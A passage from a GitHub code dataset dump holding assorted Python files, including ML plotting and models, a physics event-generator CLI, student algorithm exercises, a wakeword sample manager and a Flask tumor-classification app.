len(tapeBinTree)==1:\n\t\t\n\t\treturn tapeBinTree[0]\n\n\telse:\n\n\t\ttape1 = stackTapes(tapeBinTree[0], iCond=iCond+1)\n\t\ttape2 = stackTapes(tapeBinTree[1], iCond=iCond+1)\n\n\t\tindStart = tape1.conditionals[iCond] + 1\n\n\t\tfor i in range(tape2.size):\n\t\t\t\n\t\t\tif tape2.op1[i]>=indStart: tape2.op1[i] = tape2.op1[i] + tape1.size - indStart\n\t\t\tif tape2.op2[i]>=indStart: tape2.op2[i] = tape2.op2[i] + tape1.size - indStart\n\t\t\tif tape2.ifEnd[i]>=indStart: tape2.ifEnd[i] = tape2.ifEnd[i] + tape1.size - indStart\n\t\t\tif tape2.elseEnd[i]>=indStart: tape2.elseEnd[i] = tape2.elseEnd[i] + tape1.size - indStart\n\n\t\ttape1.op1.extend(tape2.op1[indStart:])\n\t\ttape1.op2.extend(tape2.op2[indStart:])\n\t\ttape1.value.extend(tape2.value[indStart:])\n\t\ttape1.oper.extend(tape2.oper[indStart:])\n\t\ttape1.ifEnd.extend(tape2.ifEnd[indStart:])\n\t\ttape1.elseEnd.extend(tape2.elseEnd[indStart:])\n\t\ttape1.ifEnd[tape1.conditionals[iCond]] = tape1.size\n\t\ttape1.size = tape1.size + tape2.size - indStart\n\t\ttape1.elseEnd[tape1.conditionals[iCond]] = tape1.size\n\n\t\treturn tape1\n","repo_name":"vsriv9394/EzrMod","sub_path":"compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38931677933","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n#author: xuhao wan, wei yu\r\n#If you use DMCP in your research, please cite the following paper:X. Wan, Z. Zhang*, W. Yu, Y. Guo*, A State-of-the-art Density-functional-theory-based and Machine-learning-accelerated Hybrid Method for Intricate System Catalysis. Materials Reports: Energy. 2021.\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom statistics import mean\r\n\r\nclass plot_bar(object):\r\n def __init__(self, title, train_set_RMSE, train_set_R2, test_set_RMSE, test_set_R2):\r\n data_list2 = []\r\n for item in [train_set_RMSE, train_set_R2, test_set_RMSE, test_set_R2]:\r\n data_list1 = []\r\n model_list = []\r\n for i in item.keys():\r\n data_list1.append(mean(item[i]))\r\n model_list.append(i)\r\n data_list2.append(data_list1)\r\n font={'family':'Times New Roman', 'weight':'normal', 'size':20}\r\n ##取出 4个dict中的数据,注意dict中的数据存放是无序的\r\n R2train = data_list2[1] # train set R2 score\r\n R2test = data_list2[3]# test set R2 score\r\n RMSEtrain = data_list2[0] # train set RMSE\r\n RMSEtest = data_list2[2] # test set RMSE\r\n #for item in [R2train, R2test, RMSEtrain, RMSEtest]:\r\n #for i in range(len(item)):\r\n #if item[i] < 0:\r\n #item[i] = 0.5\r\n label = model_list\r\n bar_width = 0.4\r\n bar_x = np.arange(len(label))\r\n\r\n\r\n fig1 = plt.figure(figsize=(9, 6))\r\n ax1 = fig1.add_subplot(111)\r\n #ax1.set_title('RMSE')\r\n bar1 = ax1.bar(x=bar_x - bar_width/2, # 设置不同的x起始位置\r\n height= RMSEtrain, width=bar_width, color='royalblue')\r\n bar2 = ax1.bar(x=bar_x + bar_width/2, # 设置不同的x起始位置\r\n height= RMSEtest, width=bar_width, color='darkorange'\r\n )\r\n\r\n ax1.set_ylabel('RMSE /eV', fontsize=24, fontfamily='Times New Roman')\r\n ax1.set_xticks(range(len(label)))\r\n ax1.set_xticklabels(label, fontsize=20, fontfamily='Times New Roman')\r\n #ax1.set_yticklabels(np.around((np.arange(0, 0.4, 0.05)), decimals=2), fontsize=20, fontfamily='Times New Roman')\r\n ax1.legend((bar1, bar2), ('Train set', 'Test set'), prop=font)\r\n\r\n fig2 = plt.figure(figsize=(9, 6))\r\n ax2 = fig2.add_subplot(111)\r\n #ax1.set_title('RMSE')\r\n bar1 = ax2.bar(x=bar_x - bar_width/2, # 设置不同的x起始位置\r\n height= R2train, width=bar_width, color='royalblue')\r\n bar2 = ax2.bar(x=bar_x + bar_width/2, # 设置不同的x起始位置\r\n height= R2test, width=bar_width, color='darkorange'\r\n )\r\n\r\n ax2.set_ylabel('Score', fontsize=24, fontfamily='Times New Roman')\r\n ax2.set_xticks(range(len(label)))\r\n ax2.set_xticklabels(label, fontsize=20, fontfamily='Times New Roman')\r\n #ax2.set_yticklabels(np.around((np.arange(0, 1.0, 0.2)), decimals=2), fontsize=20, fontfamily='Times New Roman')\r\n ax2.legend((bar1, bar2), ('Train set', 'Test set'), prop=font)\r\n\r\n fig1.savefig('bar_RMSE.jpg')\r\n fig2.savefig('bar2_R2.jpg')\r\n plt.show()\r\n","repo_name":"XuhaoWan/DMCP","sub_path":"Visualization/bar.py","file_name":"bar.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"70"} +{"seq_id":"8696010528","text":"#!/usr/bin/env python3\n\nimport argparse\nfrom DarkNews.GenLauncher import GenLauncher\nimport DarkNews.parsing_tools as pt\nimport os\nimport subprocess\nimport shutil\nfrom pathlib import Path\n\ndef dn_gen():\n DEFAULTS = GenLauncher(loglevel=\"error\")\n\n # --------------\n # use argument_default=argparse.SUPPRESS so no defaults attributes are instantiated in the final Namespace\n parser = argparse.ArgumentParser(\n description=\"Generate upscattering events\", formatter_class=argparse.ArgumentDefaultsHelpFormatter, argument_default=argparse.SUPPRESS\n )\n\n # BSM parameters common to all upscattering\n pt.add_common_bsm_arguments(parser, DEFAULTS)\n # Three portal model arguments\n pt.add_three_portal_arguments(parser, DEFAULTS)\n # Generic model arguments\n pt.add_generic_bsm_arguments(parser, DEFAULTS)\n # scope of the physical process of interest\n pt.add_scope_arguments(parser, DEFAULTS)\n # Monte Carlo arguments\n pt.add_mc_arguments(parser, DEFAULTS)\n\n kwargs = vars(parser.parse_args())\n\n gen_object = GenLauncher(**kwargs)\n gen_object.run(\n loglevel=kwargs.get(\"loglevel\", gen_object.loglevel),\n verbose=kwargs.get(\"verbose\", gen_object.verbose),\n logfile=kwargs.get(\"logfile\", gen_object.logfile),\n )\n\n\ndef dn_get_examples():\n \n REPO_NAME = \"DarkNews-generator\"\n REPO_URL = f\"https://github.com/mhostert/{REPO_NAME}.git\"\n EXAMPLES_FOLDER = Path(\"examples\")\n DESTINATION_FOLDER = Path(\"../DarkNews-examples\")\n\n download_repo_cmd = f\"git clone --depth 1 --filter=blob:none --sparse {REPO_URL}\"\n checkout_cmd = f\"git sparse-checkout set {EXAMPLES_FOLDER}\"\n\n print(\"Using git clone method...\")\n with subprocess.Popen([download_repo_cmd], stdout=subprocess.PIPE, shell=True) as proc:\n print(download_repo_cmd)\n print(proc.stdout.read())\n print(\"git clone successful...\")\n\n os.chdir(f\"{Path(REPO_NAME)}\")\n \n with subprocess.Popen([checkout_cmd], stdout=subprocess.PIPE, shell=True) as proc:\n print(checkout_cmd)\n print(proc.stdout.read())\n print(\"git sparse-checkout successful...\")\n\n os.rename(f\"./{EXAMPLES_FOLDER}\", DESTINATION_FOLDER)\n\n os.chdir(Path(\"../\"))\n shutil.rmtree(REPO_NAME)\n\n print(f\"Successfully downloaded examples folder in current directory: {DESTINATION_FOLDER}\")\n\n\nif __name__ == \"__main__\":\n dn_gen()\n","repo_name":"mhostert/DarkNews-generator","sub_path":"src/DarkNews/scripts.py","file_name":"scripts.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"70"} +{"seq_id":"6803487931","text":"#2、有多个正数,个数不确定,从键盘输入所有数,存入列表,并按从小到大排序,求出平均值。排序可自写算法,也可用内置函数。\r\nclist=[]\r\nwhile True:\r\n enter=input(\"请输入正数:\")\r\n if enter=='#' :\r\n break\r\n else:\r\n clist.append(int(enter))\r\n#print(clist)\r\nprint(\"原列表:\",clist)\r\nclist.sort(reverse = False)\r\nprint(\"从小到大排序:\",clist)\r\ns=sum(clist)\r\naverage=s/len(clist)\r\nprint(\"平均值:\",average)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Qbanxiaoxu/pythonProject","sub_path":"Python作业 第05次/py0214.py","file_name":"py0214.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"2875662907","text":"import torch\nimport dlc_practical_prologue as prologue\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport statistics\n\nclass Baseline(nn.Module):\n def __init__(self):\n super(Baseline, self).__init__()\n self.fc1 = nn.Linear(14*14*2, 40)#14*14*2 , 40\n self.fc2 = nn.Linear(40, 20) #40,20\n self.fc3 = nn.Linear(20, 2)\n \n def forward(self, x):\n x = x.view(x.shape[0], -1)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n output = F.sigmoid(self.fc3(x)) #better activation function for binary classification\n \n return output\n\nclass Siamese(nn.Module):\n # We used activation1 and activation 2 during grid search of hyperparameters \n def __init__(self, activation1 = nn.Tanh() , activation2 = nn.Sigmoid() , rate = 0.3):\n super().__init__()\n #Convolutional network for the image's 1st channel: used twice if w_sharing is True\n \n self.Conv1 = nn.Sequential(nn.Conv2d(1, 32, kernel_size = 3),\n activation1, #ReLU and Leakyrelu kills a lot of neurons for negative values\n nn.AvgPool2d(kernel_size = 2, stride=2),\n nn.Dropout(rate),\n nn.Conv2d(32, 64, kernel_size = 3),\n activation1,\n nn.AvgPool2d(kernel_size = 2, stride=2),\n nn.Dropout(rate)\n )\n # Fully connected network for the image's 1st channel: used twice if w_sharing is True\n self.Fc1 = nn.Sequential(nn.Linear(256, 128),\n activation1,\n nn.Linear(128, 10),\n activation2 #sigmoid is better than softmax\n )\n\n # Convolutional network for the image's 2nd channel: not used if w_sharing is True\n self.Conv2 = nn.Sequential(nn.Conv2d(1, 32, kernel_size = 3),\n activation1, \n nn.AvgPool2d(kernel_size = 2, stride=2),\n nn.Dropout(rate),\n nn.Conv2d(32, 64, kernel_size = 3),\n activation1,\n nn.AvgPool2d(kernel_size = 2, stride=2),\n nn.Dropout(rate)\n )\n # Fully connected network for the image's 2nd channel: not used if w_sharing is True\n self.Fc2 = nn.Sequential(nn.Linear(256, 128),\n activation1,\n nn.Linear(128, 10),\n activation2\n )\n\n # Final layer : combine outputs of the two channels\n self.Final = nn.Sequential(nn.Linear(20, 2), \n activation2)\n \n \n \n def predict_labels(self, img , conv, lin):\n img = conv(img)\n img = img.view(img.size(0), -1)\n img = lin(img)\n return img\n \n \n def forward(self, x, w_sharing = True):\n image1 , image2 = torch.chunk(x, chunks=2, dim=1)\n if w_sharing:\n image1 = self.predict_labels(image1, self.Conv1, self.Fc1)\n image2 = self.predict_labels(image2, self.Conv1, self.Fc1)\n else:\n image1 = self.predict_labels(image1, self.Conv1, self.Fc1)\n image2 = self.predict_labels(image2, self.Conv2, self.Fc2)\n output = torch.cat((image1, image2), dim=1)\n output = self.Final(output)\n return image1, image2 , output\n\n ","repo_name":"sidkom95/Deep-Learning-Computer-Vision","sub_path":"Proj1/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"74062741987","text":"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nN = 1000\nT_half = 3.053\nT_half_seconds = T_half * 60\nlambda_ = np.log(2) / T_half_seconds\n\n\n\nuniformNumbers = np.random.uniform(size=N)\ndecayTimes = -np.log(1 - uniformNumbers) / lambda_\nsortedDecayTimes = np.sort(decayTimes)\nnotDecayed = np.arange(N, 0, -1)\n\n\nplt.plot(sortedDecayTimes, notDecayed)\nplt.xlabel('Time (s)')\nplt.ylabel('Number of Atoms Not Decayed')\nplt.title('Decay of Atoms Over Time')\nplt.grid(True)\nplt.show()","repo_name":"tfabs-hub/phys-ua210","sub_path":"ps-3/10-4.py","file_name":"10-4.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12058257663","text":"# -*- coding = utf-8 -*-\n\nclass Solution(object):\n\n def twoSum(self, nums, target):\n \"\"\"\n 立刻想到暴力解法,固定一个数,遍历数组,时间复杂度为n**2;不理想我们考虑双指针\n :param nums:\n :param target:\n :return:\n \"\"\"\n # 1. 特殊情况:长度不足2\n n = len(nums)\n\n if n < 2:\n return\n\n # 2. 初始化左右指针LR\n L = 0\n R = n - 1\n\n # 3. 算法流程\n while L < R:\n # 首先考虑结束条件\n if nums[L] + nums[R] == target:\n return [nums[L], nums[R]]\n elif nums[L] + nums[R] > target: # 说明太大了,左移右指针\n R -= 1\n else: # 说明太小了,右移左指针\n L += 1\n return # 没找到\n\nif __name__ == '__main__':\n test1 = [2, 7, 11, 15]\n target1 = 9\n test2 = [10, 26, 30, 31, 47, 60]\n target2 = 40\n solution = Solution()\n print(solution.twoSum(test1, target1))\n print(solution.twoSum(test2, target2))\n '''\n 时间复杂度:n,因为遍历一次数组\n 空间复杂度:1,因为常数级别的变量\n '''","repo_name":"guohaoyuan/algorithms-for-work","sub_path":"offer/数组/双指针/57. 和为s的数字/twoSum.py","file_name":"twoSum.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"23839276839","text":"\"\"\"Test gerunds-matching regular expression.\nif input is a text, split each line into words and check if each word is a gerund.\"\"\"\nfrom ast import pattern\nimport re\n\nimport pytest\n\n\"\"\"filter gerunds using verb + ing, verb usually contain [aeiou]\"\"\"\n\"\"\"filter out something/nothing/etc\"\"\"\npattern = r\".*[aeiou]+[^th]*ing$\"\n\ntest_cases = [\n (\"running\", True),\n (\"coming\", True),\n (\"living\", True),\n (\"cunning\", True),\n (\"showering\", True),\n (\"walking\", True),\n (\"sing\", False),\n (\"king\", False),\n (\"nothing\", False),\n (\"ring\", False),\n]\n\n\n@pytest.mark.parametrize(\"string,matches\", test_cases)\ndef test_gerunds_matching(string, matches: bool):\n \"\"\"Test whether pattern correctly matches or does not match input.\"\"\"\n assert (re.fullmatch(pattern, string) is not None) == matches\n","repo_name":"echodpp/NLP_ASSIGNMENTS","sub_path":"Regular_Expressions/test_gerunds_matching.py","file_name":"test_gerunds_matching.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20974165906","text":"import taichi as ti\n\nti.init(arch=ti.gpu)\n\nN = 500\nUNIVERSUS = ti.field(dtype=float, shape=(N * 2, N))\n\n@ti.kernel\ndef create():\n for i, j in UNIVERSUS:\n UNIVERSUS[i, j] = 0\n\ngui = ti.GUI(\"Universus\", res=(N * 2, N))\n\nwhile gui.running:\n create()\n gui.set_image(UNIVERSUS)\n gui.show()","repo_name":"XingxinHE/taichi_course_homework","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"24014963350","text":"from itertools import combinations\narr = [1, 2, 3]\nprint(list(combinations(arr, 1)))\nprint(list(combinations(arr, 2)))\nprint(list(combinations(arr, 3)))\n\nsubsets = [[]]\n\nfor num in arr:\n size = len(subsets)\n for y in range(size):\n subsets.append(subsets[y]+[num])\nprint(subsets)\n\nimport copy\n\nresult = []\n\n\ndef recur(subset, i, arr):\n if i == len(arr):\n result.append(copy.copy(subset))\n return\n else:\n subset.append(arr[i])\n i += 1\n recur(subset, i, arr)\n subset.pop()\n recur(subset, i, arr)\n\n\nrecur([], 0, arr)\n# print(result)\n\narr = [1,2,3]\nresult = []\nfor i in range(1< int:\n\n def find_distance(mid_pos):\n\n count = 1\n pre = position[0]\n for i in range(1, len(position)):\n distance = position[i] - pre\n if distance >= mid_pos:\n count += 1\n pre = position[i]\n return count\n\n position = sorted(position)\n lo = 0\n hi = position[-1]\n while lo <= hi:\n mid = lo + (hi - lo) // 2\n if find_distance(mid) >= m:\n lo = mid + 1\n else:\n hi = mid - 1\n\n return hi\n\n","repo_name":"jjingdong/LeetCode","sub_path":"1552MagneticForceBetweenTwoBalls.py","file_name":"1552MagneticForceBetweenTwoBalls.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"70"} +{"seq_id":"32785218847","text":"#!/usr/bin/env python3\nimport numpy as np\n\n#\n# model cell v1\n#\nmc_name = [\n r'$R_\\text{m}$ (\\si{\\mega\\ohm})',\n r'$C_\\text{prs}$ (\\si{\\pico\\farad})',\n r'$C_\\text{m}$ (\\si{\\pico\\farad})',\n r'$R_\\text{s}$ (\\si{\\mega\\ohm})',\n r'$V_\\text{off}$ (\\si{\\milli\\volt})',\n]\nmc_true = [\n 500, # GOhm; R_membrane\n 4.7, # pF; Cprs\n 22.0, # pF; Cm\n 30.0, # GOhm; Rs\n 0.0, # mV; Voffset+\n]\nmc_machine = [\n 498, # GOhm; R_membrane\n 7.8, # pF; Cprs\n 32.85, # pF; Cm\n 32.6, # GOhm; Rs\n 0.2, # mV; Voffset+\n]\nmc_fit = np.loadtxt('out/mcnocomp-solution-542811797-1.txt')\nmc_fit[0] = 1e3 / mc_fit[0] # g -> R; G -> M\nmc_fit[3] = mc_fit[3] * 1e3 # G -> M\n\nmc_tex = \"\"\n\nmc_tex += '\\\\toprule\\n'\nfor i in mc_name:\n mc_tex += ' & ' + i\nmc_tex += ' \\\\\\\\\\n'\nmc_tex += '\\\\midrule\\n'\nmc_tex += 'True'\nfor i in mc_true:\n mc_tex += ' & ' + '%.2f' % i\nmc_tex += ' \\\\\\\\\\n'\nmc_tex += 'Machine'\nfor i in mc_machine:\n mc_tex += ' & ' + '%.2f' % i\nmc_tex += ' \\\\\\\\\\n'\nmc_tex += 'Fitted'\nfor i in mc_fit:\n mc_tex += ' & ' + '%.2f' % i\nmc_tex += ' \\\\\\\\\\n'\nmc_tex += '\\\\bottomrule\\n'\nprint(mc_tex)\n\n\n#\n# model cell v3\n#\nmc3_name = [\n r'$R_\\text{k}$ (\\si{\\mega\\ohm})',\n r'$C_\\text{k}$ (\\si{\\pico\\farad})',\n r'$R_\\text{m}$ (\\si{\\mega\\ohm})',\n r'$C_\\text{prs}$ (\\si{\\pico\\farad})',\n r'$C_\\text{m}$ (\\si{\\pico\\farad})',\n r'$R_\\text{s}$ (\\si{\\mega\\ohm})',\n r'$V_\\text{off}$ (\\si{\\milli\\volt})',\n]\nmc3_true = [\n 100, # GOhm; R_kinetics\n 1000., # GOhm; C_kinetics\n 500, # GOhm; R_membrane\n 4.7, # pF; Cprs\n 22.0, # pF; Cm\n 30.0, # GOhm; Rs\n 0.0, # mV; Voffset+\n]\nmc3_machine = [\n np.NaN, # GOhm; R_kinetics\n np.NaN, # GOhm; C_kinetics\n 91.3, # GOhm; R_membrane\n 8.8, # pF; Cprs\n 41.19, # pF; Cm\n 33.6, # GOhm; Rs\n -1.2, # mV; Voffset+\n]\nmc3_fit = np.loadtxt('out/mc3nocomp-solution-542811797-1.txt')\nmc3_fit[0] = 1e3 / mc3_fit[0] # g -> R; G -> M\nmc3_fit[2] = 1e3 / mc3_fit[2] # g -> R; G -> M\nmc3_fit[5] = mc3_fit[5] * 1e3 # G -> M\n\nmc3_tex = \"\"\n\nmc3_tex += '\\\\toprule\\n'\nfor i in mc3_name:\n mc3_tex += ' & ' + i\nmc3_tex += ' \\\\\\\\\\n'\nmc3_tex += '\\\\midrule\\n'\nmc3_tex += 'True'\nfor i in mc3_true:\n mc3_tex += ' & ' + '%.2f' % i\nmc3_tex += ' \\\\\\\\\\n'\nmc3_tex += 'Machine'\nfor i in mc3_machine:\n mc3_tex += ' & ' + '%.2f' % i\nmc3_tex += ' \\\\\\\\\\n'\nmc3_tex += 'Fitted'\nfor i in mc3_fit:\n mc3_tex += ' & ' + '%.2f' % i\nmc3_tex += ' \\\\\\\\\\n'\nmc3_tex += '\\\\bottomrule\\n'\nprint(mc3_tex)\n","repo_name":"CardiacModelling/VoltageClampModel","sub_path":"model-cell-experiments/print-tex-table.py","file_name":"print-tex-table.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"32033140493","text":"import json\nimport shutil\nimport tempfile\nfrom pathlib import Path\n\nfrom core.base.model.ProjectAliceObject import ProjectAliceObject\n\n\nclass Wakeword(ProjectAliceObject):\n\t\"\"\"\n\tA wakeword is a hotword that is unique to the user. We can identify a user with it\n\t\"\"\"\n\n\n\tdef __init__(self, username: str):\n\t\tsuper().__init__()\n\t\tself._rawSamples = dict()\n\t\tself._trimmedSamples = dict()\n\t\tself._username = username\n\t\tself._rootPath = Path(f'{tempfile.gettempdir()}/wakewords/{self._username}')\n\t\tself.clearTmp()\n\n\n\tdef clearTmp(self):\n\t\t\"\"\"\n\t\tRemoves temporary capture directories and samples\n\t\t:return:\n\t\t\"\"\"\n\t\tshutil.rmtree(self._rootPath, ignore_errors=True)\n\t\tself._rootPath.mkdir(parents=True)\n\n\n\t@property\n\tdef rootPath(self) -> Path:\n\t\treturn self._rootPath\n\n\n\t@property\n\tdef username(self) -> str:\n\t\treturn self._username\n\n\n\t@username.setter\n\tdef username(self, value: str):\n\t\tself._username = value\n\n\n\t@property\n\tdef rawSamples(self) -> dict:\n\t\treturn self._rawSamples\n\n\n\t@property\n\tdef trimmedSamples(self) -> dict:\n\t\treturn self._trimmedSamples\n\n\n\tdef addRawSample(self, filepath: Path, sampleNumber: int = None) -> Path:\n\t\t\"\"\"\n\t\tAdds a raw sample. A raw sample is a wav file that wasn't trimmed\n\t\t:param filepath:\n\t\t:param sampleNumber: If not defined, added to the dict\n\t\t:return:\n\t\t\"\"\"\n\t\tif not sampleNumber:\n\t\t\tsampleNumber = self.highestKey(self._rawSamples) + 1\n\n\t\ttmpFile = Path(f'{self._rootPath}/{sampleNumber}_raw.wav')\n\t\tshutil.copyfile(filepath, tmpFile)\n\n\t\tself._rawSamples[sampleNumber] = tmpFile\n\t\treturn tmpFile\n\n\n\tdef addTrimmedSample(self, filepath: Path, sampleNumber: int = None) -> Path:\n\t\t\"\"\"\n\t\tAdds a trimmed sample. A trimmed sample is a raw sample that was trimmed\n\t\t:param filepath:\n\t\t:param sampleNumber: If not defined, added to the dict\n\t\t:return:\n\t\t\"\"\"\n\t\tif not sampleNumber:\n\t\t\tsampleNumber = self.highestKey(self._trimmedSamples) + 1\n\n\t\ttmpFile = Path(f'{self._rootPath}/{sampleNumber}.wav')\n\t\tshutil.copyfile(filepath, tmpFile)\n\n\t\tself._trimmedSamples[sampleNumber] = tmpFile\n\t\treturn tmpFile\n\n\n\tdef getRawSample(self, sampleNumber: int = None) -> Path:\n\t\t\"\"\"\n\t\tReturns a raw sample. A raw sample is a wav file that wasn't trimmed\n\t\t:param sampleNumber: If not defined, returns the last sample\n\t\t:return:\n\t\t\"\"\"\n\t\tif not sampleNumber:\n\t\t\tsampleNumber = self.highestKey(self._rawSamples)\n\n\t\treturn self._rawSamples[sampleNumber]\n\n\n\tdef getTrimmedSample(self, sampleNumber: int = None) -> Path:\n\t\t\"\"\"\n\t\tReturns a trimmed sample. A trimmed sample is a raw sample that was trimmed\n\t\t:param sampleNumber: If not defined, returns the last sample\n\t\t:return:\n\t\t\"\"\"\n\t\tif not sampleNumber:\n\t\t\tsampleNumber = self.highestKey(self._trimmedSamples)\n\n\t\treturn self._trimmedSamples[sampleNumber]\n\n\n\tdef removeRawSample(self, sampleNumber: int = None):\n\t\t\"\"\"\n\t\tRemoves a raw sample\n\t\t:param sampleNumber: if not defined, last entry\n\t\t:return:\n\t\t\"\"\"\n\t\tif not sampleNumber:\n\t\t\tsampleNumber = self.highestKey(self._rawSamples)\n\n\t\tself._rawSamples.pop(sampleNumber, None)\n\n\n\tdef removeTrimmedSample(self, sampleNumber: int = None):\n\t\t\"\"\"\n\t\tRemoves a trimmed sample\n\t\t:param sampleNumber: if not defined, last entry\n\t\t:return:\n\t\t\"\"\"\n\t\tif not sampleNumber:\n\t\t\tsampleNumber = self.highestKey(self._trimmedSamples)\n\n\t\tself._trimmedSamples.pop(sampleNumber, None)\n\n\n\tdef save(self) -> Path:\n\t\t\"\"\"\n\t\tSave this wakeword to disk\n\t\t:return: Path to the saved directory\n\t\t\"\"\"\n\t\tconfig = {\n\t\t\t'hotword_key' : self._username.lower(),\n\t\t\t'kind' : 'personal',\n\t\t\t'dtw_ref' : 0.22,\n\t\t\t'from_mfcc' : 1,\n\t\t\t'to_mfcc' : 13,\n\t\t\t'band_radius' : 10,\n\t\t\t'shift' : 10,\n\t\t\t'window_size' : 10,\n\t\t\t'sample_rate' : self.AudioServer.SAMPLERATE,\n\t\t\t'frame_length_ms' : 25.0,\n\t\t\t'frame_shift_ms' : 10.0,\n\t\t\t'num_mfcc' : 13,\n\t\t\t'num_mel_bins' : 13,\n\t\t\t'mel_low_freq' : 20,\n\t\t\t'cepstral_lifter' : 22.0,\n\t\t\t'dither' : 0.0,\n\t\t\t'window_type' : 'povey',\n\t\t\t'use_energy' : False,\n\t\t\t'energy_floor' : 0.0,\n\t\t\t'raw_energy' : True,\n\t\t\t'preemphasis_coefficient': 0.97,\n\t\t\t'model_version' : 1\n\t\t}\n\n\t\tpath = Path(self.Commons.rootDir(), 'trained/hotwords/snips_hotword', self._username.lower())\n\n\t\tif path.exists():\n\t\t\tself.logWarning('Destination directory for new wakeword already exists, deleting')\n\t\t\tshutil.rmtree(path)\n\n\t\tpath.mkdir()\n\n\t\t(path / 'config.json').write_text(json.dumps(config, indent='\\t'))\n\n\t\tfor sampleNumber, sample in self._trimmedSamples.items():\n\t\t\tshutil.move(sample, path / f'{int(sampleNumber)}.wav')\n\n\t\treturn path\n\n\n\t@staticmethod\n\tdef highestKey(dictionary: dict) -> int:\n\t\t\"\"\"\n\t\tReturns the highest sample number in a given sample dictionary\n\t\t:param dictionary: samples\n\t\t:return: int\n\t\t\"\"\"\n\t\ti = 0\n\n\t\tif not dictionary:\n\t\t\treturn i\n\n\t\tfor key, value in dictionary.items():\n\t\t\tif int(key) > i:\n\t\t\t\ti = key\n\n\t\treturn i\n","repo_name":"project-alice-assistant/ProjectAlice","sub_path":"core/voice/model/Wakeword.py","file_name":"Wakeword.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","stars":680,"dataset":"github-code","pt":"70"} +{"seq_id":"42269674649","text":"from keras.models import load_model\nfrom flask import Flask, render_template, request, current_app \nimport joblib\nfrom PIL import Image\nimport numpy as np\nfrom keras.preprocessing import image\n\napp = Flask(\"BrainTumorApp\")\nfrom tensorflow import keras\nmodel = keras.models.load_model(\"brain_tumor_40.h5\")\n\n\n@app.route(\"/brain_tumor\")\ndef home():\n return render_template(\"myform.html\")\n@app.route(\"/prediction\", methods=['POST'] )\ndef brain_tumor():\n x1 = request.files['img']\n x1.save(\"brain.jpg\")\n test_image = image.load_img(\"brain.jpg\", target_size = (64, 64))\n test_image = image.img_to_array(test_image)\n test_image = np.expand_dims(test_image, axis = 0)\n result = model.predict(test_image)\n if str(round(result[0][0])) == 0:\n data=\"Glioma Tumor Detected\"\n return render_template(\"results.html\", data=data)\n elif str(round(result[0][1])) == 1:\n data=\"Meningioma Tumor Detected\"\n return render_template(\"results.html\", data=data)\n if str(round(result[0][2])) == 2:\n data=\"No Tumor Detected\"\n return render_template(\"results.html\", data=data)\n else: \n data=\"Pituitary Tumor Detected\"\n return render_template(\"results.html\", data=data)\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=4444)\n\n","repo_name":"amit17133129/Brain_Tumor_Detection_MLops_and_Hybrid_Multi_Cloud","sub_path":"Flask and Html pages/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"70725021668","text":"# coding: utf-8\nfrom clrs import *\nimport random\n\n'''\nhttp://blog.csdn.net/dm_vincent/article/details/7655764\nhttp://blog.csdn.net/dm_vincent/article/details/7769159\n'''\n'''\nhttp://acm.hdu.edu.cn/showproblem.php?pid=1213\n'''\n\nclass UF(object):\n\n def __init__(self, n):\n self.parent = list(range(n))\n self.sizes = [1] * n\n self.n = n\n\n def find(self, x):\n while x != self.parent[x]:\n self.parent[x] = self.parent[self.parent[x]]\n x = self.parent[x]\n return x\n\n def find2(self, x):\n r = x\n while self.parent[r] != r:\n r = self.parent[r]\n while x != r:\n p = self.parent[x]\n self.parent[x] = r\n x = p\n return r\n\n def union(self, x, y):\n i = self.find(x)\n j = self.find(y)\n if i != j:\n if self.sizes[i] < self.sizes[j]:\n i, j = j, i\n self.sizes[i] += self.sizes[j]\n self.parent[j] = i\n self.n -= 1\n return True\n return False\n\n def __len__(self):\n return self.n\n\n def __repr__(self):\n n = len(self.parent)\n sets = [[] for _ in xrange(n)]\n for i in xrange(n):\n self.find(i)\n sets[self.parent[i]].append(i)\n return ' '.join(str(t) for t in sets if t)\n\ndef test(uf, xys):\n for x, y in xys:\n uf.union(x, y)\n\n#from f6 import *\n#n = 1000000\n#xys = [(random.randint(0, n - 1), random.randint(0, n - 1))\n# for _ in xrange(n)]\n#with timeit():\n# test(UF(n), iter(xys))\n#with timeit():\n# uf = UF(n)\n# uf.find = uf.find2\n# test(uf, iter(xys))\n","repo_name":"fans656-deprecated/clrs","sub_path":"2002 union find set.py","file_name":"2002 union find 